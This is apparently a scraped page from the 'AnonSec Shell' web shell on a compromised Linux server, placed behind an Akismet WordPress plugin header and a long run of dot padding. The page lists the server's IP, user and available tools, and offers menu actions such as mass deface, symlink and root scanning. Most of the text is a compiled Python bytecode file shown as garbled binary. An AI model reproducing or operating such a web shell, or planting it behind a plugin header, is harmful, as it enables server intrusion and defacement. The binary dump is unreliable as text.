#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/repolib.pyo
�
L��ec@`s�ddlmZmZmZddlmZddlZddlZddl	Z	ddl
jZddl
mZmZddlmZddlmZddlmZmZmZddlmZdd	lmZddlZdd
lmZddlZddlm Z ddl!m"Z"m#Z#dd
l$m%Z%ddl&m'Z(ej)e*�Z+e%j,ej%j-��Z.ddgZ/de0fd��YZ1de#fd��YZ2de0fd��YZ3de0fd��YZ4ej5de"fd��Y�Z6dS(i(tprint_functiontdivisiontabsolute_import(tRawConfigParserN(tOverrideStatusCachetWrittenOverrideCache(tmodel(tent_cert(tRepotmanage_repos_enabledtget_repo_file_classes(tYumRepoFile(tget_supported_resources(t
connection(tconfigparser(tActionReporttBaseActionInvoker(tconfig(tugettexttyumtdebtYumPluginManagercB`sneZdZdZdZddgZdZdZed��Z	ed��Z
ed	��Zed
��Z
RS(sO
    Instance of this class is used for automatic enabling of yum plugins.
    s/etc/yum/pluginconf.ds/etc/dnf/pluginsssubscription-managers
product-idiicC`s�ytdjd�}WnNtk
r?}tj|�t}n>tjk
rg}tj|�t}nX|dkr}t}nt	|�S(s�
        Automatic enabling of yum plugins can be explicitly disabled in /etc/rhsm/rhsm.conf
        Try to get this configuration.
        :return: True, when auto_enable_yum_plugins is enabled. Otherwise False is returned.
        trhsmtauto_enable_yum_pluginsN(
tconftget_intt
ValueErrortlogt	exceptiontTrueRtErrortNonetbool(Rterr((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytis_auto_enable_enabledCs
	

	cC`std�dj|�}|S(Ns�The yum/dnf plugins: %s were automatically enabled for the benefit of Red Hat Subscription Management. If not desired, use "subscription-manager config --rhsm.auto_enable_yum_plugins=0" to block this behavior.s, (t_tjoin(tenabled_yum_pluginstmessage((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytwarning_messageWs	c	C`s�g}x�|jD]�}|d|d}t�}y|j|�}Wn0tk
rv}tjd|||f�qnXt|�dkr�tjd||f�qnt}	|j	d�s�tj
d||f�|jd�nz|jdd�r\y|j
dd�}	Wq\tk
rXy|jdd�}	WqYtk
rTtj
d	|�qYXq\Xn|	|jkr�tjd
||f�qtj
d||f�t|d��*}
|jdd|j�|j|
�Wd
QX|j|�qW|S(s#
        This class method tries to enable plugins for DNF or YUM
        :param pkg_mgr_name: It can be "dnf" or "yum"
        :type pkg_mgr_name: str
        :param plugin_dir: Directory with configuration files for (dnf/yum) plugins
        :type plugin_dir: str
        :return:
        t/s.confsHError during reading %s plugin config file '%s': %s. Skipping this file.is4Configuration file of %s plugin: "%s" cannot be readtmainsYConfiguration file of %s plugin: "%s" does not include main section. Adding main section.tenabledsXFile %s has wrong value of options: 'enabled' in section: 'main' (not a int nor boolean)s/%s plugin: "%s" already enabled. Nothing to do.sEnabling %s plugin: "%s".twN(tPLUGINStConfigParsertreadt	ExceptionRterrortlentwarntFalsethas_sectiontwarningtadd_sectiont
has_optiontgetintRt
getbooleantPLUGIN_ENABLEDtdebugtopentsettwritetappend(tclstpkg_mgr_namet
plugin_dirtenabled_luginstplugin_nametplugin_file_namet
plugin_configtresultR!tis_plugin_enabledtcfg_file((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt_enable_plugins_sP		

	cC`sr|j�tkr#tjd�gStjd�g}|j|jd|j��|j|jd|j��|S(s�
        This function tries to enable dnf/yum plugins: subscription-manager and product-id.
        It takes no action, when automatic enabling of yum plugins is disabled in rhsm.conf.
        :return: It returns list of enabled plugins
        sUThe rhsm.auto_enable_yum_plugins is disabled. Skipping the enablement of yum plugins.s+The rhsm.auto_enable_yum_plugins is enabledtdnfR(R"R3RR;textendRJtDNF_PLUGIN_DIRtYUM_PLUGIN_DIR(R@tenabled_plugins((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytenable_pkg_plugins�s	

(t__name__t
__module__t__doc__RNRMR,R:tPLUGIN_DISABLEDtstaticmethodR"R'tclassmethodRJRP(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR4sCtRepoActionInvokercB`sSeZdZedd�Zd�Zd�Zed�Z	d�Z
ed��ZRS(s.Invoker for yum repo updating related actions.cC`s;tt|�jd|�||_tjtj�|_dS(Ntlocker(tsuperRWt__init__t
cache_onlytinjtrequiretIDENTITYtidentity(tselfR[RX((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRZ�s	cC`s"td|j�}|j�}|S(NR[(tRepoUpdateActionCommandR[tperform(R`tactiontres((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt
_do_update�scC`s8td|j�}|g|j�D]}|j^q"kS(NR[(RaR[tmatching_contenttlabel(R`trepoRctc((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt
is_managed�sc
C`s�td|jd|�}|j�}t�}t�}|j�td�}|j�x�|D]�}|j|j�}|j|j�}	|	dkr�|}	|j	|�n|dkr�|j	|�q]|j
|||	�|j	|�q]W|S(NR[tapply_overridessvar/lib/rhsm/repo_server_val/(RaR[tget_unique_contentR=RR.tsectiontidRtaddtupdate_repo(
R`RkRctrepostcurrentt
yum_repo_filetserver_value_repo_fileRhtexistingtserver_value_repo((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt	get_repos�s&			


cC`st�}|jS(N(Rtpath(R`Rs((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt
get_repo_file�s	cC`sYxHt�D]=\}}|�}tjj|j�r
tj|j�q
q
Wtj�dS(N(R
tosRxtexiststunlinkRtdelete_cache(R@t
repo_classt_dummyt	repo_file((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytdelete_repo_file�s
	N(
RQRRRSR3RRZReRjRRwRyRVR�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRW�s			tYumReleaseverSourcecB`sJeZdZdZeZd�Zed��Zed��Zd�Z	RS(s�
    Contains a ReleaseStatusCache and releasever helpers.

    get_expansion() gets 'release' from consumer info from server,
    using the cache as required.
    s$releasevercC`sLtjtj�|_d|_tjtj�|_tjtj�|_	dS(N(
R\R]tRELEASE_STATUS_CACHEtrelease_status_cacheRt
_expansionR^R_tCP_PROVIDERtcp_provider(R`((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRZs	cC`s&|dkst|�dkr"tStS(Ni(RR1R3R(t	expansion((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytis_not_emptyscC`sD|dkrtSy|d}tj|�SWntk
r?tSXdS(s�Check result for existing, and having a non empty value.

        Return True if result has a non empty, non null result['releaseVer']

        False indicates we don't know or it is not set.
        t
releaseVerN(RR3R�R�R/(RGtrelease((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytis_sets

cC`s�|jr|jSd}tjj�sR|jj�}|jj||j	j
�}n|j|�sn|dkr�|j|_|jS|d|_|jS(NR�(
R�RRRtin_containerR�tget_consumer_auth_cpR�tread_statusR_tuuidR�tdefault(R`RGtuep((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt
get_expansion"s	
(
RQRRRStmarkerR�RZRUR�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR��s	
RacB`s�eZdZeed�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
dd
�Zd�Zd�Zd
�ZRS(s�UpdateAction for yum repos.

    Update yum repos when triggered. Generates yum repo config
    based on:
        - entitlement certs
        - repo overrides
        - rhsm config
        - yum config
        - manual changes made to "redhat.repo".

    If the system in question has a zypper repo directory, will also generate
    zypper repo config.

    Returns an RepoActionReport.
    cC`stjtj�|_tjtj�|_tjtj�|_tj	�|_
tjtj�|_d|_
||_t�|_
d|_i|_t|_y%dtddd|j�k|_Wn,tjtjfk
r�}tj|�nXt�|_t�|_d|j_ |jj!�s'dS|jr|jj"�ytjtj#�}Wnt$k
rot%�}nX|r�|j"�}n-|jj&�|_'|j(|j'|jj)�}x[|p�gD]J}|d|jkr�i|j|d<n|d|j|d|d<q�WndS(	Nitcontent_overridesR�R_sRepo updatestcontentLabeltvaluetname(*R\R]R^R_tENT_DIRtent_dirtPROD_DIRtprod_dirRtEntitlementDirEntitlementSourcet
ent_sourceR�R�tmanage_reposRkR	RR�t	overridesR3toverride_supportedRtsocketR0R
tConnectionExceptionRRRtwritten_overridestRepoActionReporttreportR�tis_validtread_cache_onlytOVERRIDE_STATUS_CACHEtKeyErrorRR�R�tload_statusR�(R`R[Rktetoverride_cachetstatustitem((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRZPsF					%
	


cC`s�|jsjtjd�xCt�D]8\}}|�}|j�r tjd|j�q q Wtj�dSg}x0t�D]%\}}|j	|�|�f�qzWx(|D] \}}|j
�|j
�q�Wt�}x|j�D]�}|j
|j�x�|D]�\}}	|j|jkr|j|�}
|j|
j�}|	j|
j�}|dkrt|
}|	j
|
�n|dkr�|j
|
�|j|
�q�|j||
|�|j|�|	j|�|j|�qqWq�Wxu|D]m\}}	xJ|	j�D]<}
|
|kr|j|
�|	j|
�|j|
�qqW|	j�|j�q�W|jr�|j|j_|jj�ntjd|j �|j S(Ns4manage_repos is 0, skipping generation of repo filess.Removing %s due to manage_repos configuration.isrepos updated: %s(!R�RR;R
R{tinfoRxRWR�R?R.R=RlRoRntcontent_typet
CONTENT_TYPEStfix_contentRmRt
report_addRptupdatet
report_updatetsectionst
report_deletetdeleteR>R�R�R�twrite_cacheR�(R`R~RR�t
repo_pairstserver_val_repo_classtserver_val_repo_filetvalidtcontRtt
fixed_contRuRvRm((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRb�s\	
		

	





	cC`sE|js
gStdd}tdd}|j||�}t|�S(NRtbaseurltrepo_ca_cert(R�Rtget_all_contentR=(R`R�tca_certtcontent_list((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRl�s	cC`s7g}x*tD]"}|tj|jd|�7}q
W|S(NR�(tALLOWED_CONTENT_TYPESRtfind_contentR�(R`tcontentR�((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRf�s

cC`s�|j�}g}|s|St�}xW|D]O}tj||||�}|jrn|jrn|j|�}n|j|�q,W|S(N(RfR�Rtfrom_ent_cert_contentR�Rkt_set_override_infoR?(R`R�R�RfR�trelease_sourceR�Rh((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR��s	
	cC`sCx<t|jj|ji�j��D]\}}|||<q%W|S(N(tlistR�tgetRntitems(R`RhR�R�((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR�	s1cC`s||jj|ji�kS(N(R�R�Rn(R`Rhtkey((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt_is_overriddenscC`sR|jjj|ji�j|�}|dk	oQ|dk	oQt|�t|�kS(N(R�R�R�RnRtstr(R`RhR�R�t
written_value((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt_was_overriddens$cC`sVi}t|j��t|j��}x'|D]}tjj|d�||<q/W|S(Ni(iN(R�tkeysRt
PROPERTIESR�R(R`told_repotnew_repoRGtall_keysR�((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt_build_propss
"
c		C`s�d}|dkri}nx�t|j||�j��D]l\}\}}|j|�}|r|j||�r|j|||j|��r|dk	r�|j|�s�|j|�|j|�kr�|j|�|kr�q:n|||<|d7}q�n�|dks&t|�j�dkrX|t|j	��kr:||=|d7}q:q:n|j|�|krsq:n|||<|d7}|r:|dk	r:|||<q:q:W|S(s 
        Checks an existing repo definition against a potentially updated
        version created from most recent entitlement certificates and
        configuration. Creates, updates, and removes properties as
        appropriate and returns the number of changes made. (if any)
        iitN(
RR�R�R�R�R�R�R�tstripR�(	R`R�R�Rvtchanges_madeR�tmutablet_defaulttnew_val((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRp s2	1
$


cC`s|jjj|�dS(N(R�trepo_updatesR?(R`Rh((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR�QscC`s|jjj|�dS(N(R�t
repo_addedR?(R`Rh((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR�TscC`s|jjj|�dS(N(R�trepo_deletedR?(R`Rm((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR�WsN(RQRRRSR3RRZRbRlRfR�R�R�R�R�RRpR�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRa@s?	F							1		R�cB`s\eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�ZRS(
s,Report class for reporting yum repo updates.uRepo UpdatescC`s2tt|�j�g|_g|_g|_dS(N(RYR�RZR�R�R�(R`((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyRZ`s		cC`s't|j�t|j�t|j�S(sHow many repos were updated(R1R�R�R�(R`((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytupdatesfscC`sUd}|sd|Sg}x+|D]#}|jd|||�f�q!Wdj|�S(Ns    u%s<NONE>u%s%su
(R?R$(R`Rqt	formattertindenttrRh((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytformat_repos_infojs
!cC`s$d|j|df}|jd�S(Nu
[id:%s %s]R�tutf8(Rntencode(R`Rhtmsg((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytrepo_formatts	cC`sd|S(Nu[%s]((R`Rm((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytsection_formatyscC`s|j||j�S(N(R�R�(R`Rq((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytformat_repos|scC`s|j||j�S(N(R�R�(R`R�((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pytformat_sectionsscC`s�td�dg}|jtd�|j��|jtd��|j|j|j��|jtd��|j|j|j��|jtd��|j|j|j��dj|�S(NsRepo updatess
sTotal repo updates: %dtUpdatedsAdded (new)tDeletedu
(	R#R?R�R�R�R�R�R�R$(R`ts((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt__str__�s(RQRRRSR�RZR�R�R�R�R�R�R�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyR�[s			
				(7t
__future__RRRtiniparseRR-tloggingRzR�tsubscription_manager.injectiont	injectionR\tsubscription_manager.cacheRRtsubscription_managerRtsubscription_manager.modelRtsubscription_manager.repofileRR	R
Rtsubscription_manager.utilsRtrhsm.configRR
tsixt	six.movesRtsubscription_manager.certlibRRtrhsmlib.servicesRtsubscription_manager.i18nRR#t	getLoggerRQRtConfigt
initConfigRR�tobjectRRWR�Ratpython_2_unicode_compatibleR�(((sB/usr/lib64/python2.7/site-packages/subscription_manager/repolib.pyt<module>s8�=I�	

Anon7 - 2022
AnonSec Team